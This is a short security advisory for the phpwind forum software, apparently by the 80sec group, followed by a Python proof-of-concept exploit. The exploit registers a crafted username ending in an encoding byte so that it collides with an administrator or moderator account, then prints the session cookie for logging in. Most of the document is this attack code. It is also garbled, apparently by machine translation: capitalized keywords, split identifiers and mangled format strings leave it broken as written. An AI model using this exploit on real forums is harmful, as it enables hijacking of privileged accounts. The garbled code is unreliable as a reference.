Vulnerability Description: phpwind is a widely used program in China. Due to a program design error, anyone can obtain the permissions of the front-end administrator and spot master and delete posts.
Vulnerability Analysis: The phpwind forum does not understand the database storage mechanism in design, leading to problems in program logic judgment. You can register users with carefully constructed data to obtain management permissions.
Vulnerability Testing:
[Code]
#-*-Coding: gb2312 -*-
Import urllib2, httplib, sys
Httplib. httpconnection. debuglevel = 1
Cookies = urllib2.httpcookieprocessor ()
Opener = urllib2.build _ opener (cookies)
Def banner ():
Print ""
Print "###################################### ##################"
Print "All phpwind version management permission leakage vulnerability exploits POC"
Print "Copyright (c) 2006"
Print "jianxin@80sec.com"
Print "80sec is a new small group dedicated to Web security"
Print "http://www.80sec.com"
Def usage ():
Banner ()
Print "Usage: \ n"
Print "$./phpwind. py pwforumurl usertoattack \ n"
Print "pwforumurl target Forum address like http://www.80sec.com /"
Print "usertoattack target bamboo or administrator with permissions"
Print "the attack results will be registered with a same account as the target user in the target Forum"
Print "you can use UID to log on to the latest version"
Print "other versions can use cookie + useragent to log on"
Print "###################################### ##################"
Print ""
Argvs = SYS. argv
Usage ()
Data = "regname = % S % S1 & regpwd = @ 80sec & regpwdrepeat = @ 80sec & regemail = foo@foo.com & regemailtoall = 1 & step = 2" % (argvs [2], "% C1 ")
Pwurl = "% S/register. php" % argvs [1]
Request = urllib2.request (
Url = pwurl,
Headers = {'content-type': 'application/X-WWW-form-urlencoded', 'user-agent': '80sec owned this '},
Data = data)
F = opener. Open (request)
Headers = f. headers. dict
Cookie = headers ["Set-cookie"]
Try:
If Cookie. Index ('winduser '):
Print "exploit success! "
Print "login with UID password @ 80sec or COOKIE :"
Print cookie
Print "User-Agent: 80sec owned this"
Except t:
Print "error! Http://www.80sec.com"
Print "Connect root # 80sec.com"
[/Code]